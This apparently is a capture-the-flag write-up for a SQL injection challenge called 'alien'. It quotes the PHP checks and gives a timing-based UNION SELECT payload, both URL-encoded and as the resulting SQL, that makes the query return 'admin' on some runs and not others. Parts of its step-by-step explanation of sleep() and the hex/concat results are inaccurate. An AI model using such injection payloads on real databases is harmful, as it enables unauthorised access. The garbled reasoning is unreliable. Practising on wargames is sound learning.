alien
We are provided with the SQL queries:
SELECT id FROM prob_alien WHERE no={$_GET[no]}
SELECT id FROM prob_alien WHERE no='{$_GET[no]}'
In order to solve this challenge, we have to pass the following checks:
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") solve("alien");
- The first query checks if the fetched
id
is not"admin"
. If true, it exits. - The second query checks if the fetched
id
is"admin"
. If true, it exits. - The third query checks if the fetched
id
is"admin"
. If true, it exits. - The fourth query checks if the fetched
id
is"admin"
. If true, it calls a functionsolve("alien")
.
In order to solve this challenge, we need to create a self-modifying query.
Self-modifying query
1 UNION SELECT concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)%23' UNION SELECT concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)%23
(!sleep(1) && now() % 2 == 1)
:!sleep(1)
effectively becomesFalse
or0
since after 1 second, thesleep
function returns. Otherwise it isTrue
or1
.now() % 2 == 1
checks if the current time in seconds is an odd number.- Combine these using the
&&
(logical AND), which evaluates toFalse
or0
if!sleep(1)
is0
. Otherwise it results inTrue
or1
.
hex(10+(!sleep(1)&&now()%2=1))
:- If result of
sleep
is1
,hex(10+1)
results inb
. - If result of
sleep
is0
,hex(10+0)
results ina
.
- If result of
lower(hex(10+(!sleep(1)&&now()%2=1)))
:- Converts the entire string to lowercase.
concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)
- Concatenates the string to
dmin
. - If result of
sleep
is1
,concat(0x11,0x646d696e)
results inbdmin
. - If result of
sleep
is0
,concat(0x10,0x646d696e)
results inadmin
.
- Concatenates the string to
If we provide the following URI parameter:
?no=1%20UNION%20SELECT%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20UNION%20SELECT%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20
The resultant first query becomes:
SELECT id FROM prob_alien WHERE no=1 UNION SELECT concat(lower(hex(10+(!sleep(1)&&now()%2=1))),0x646d696e)#' UNION SELECT concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)%23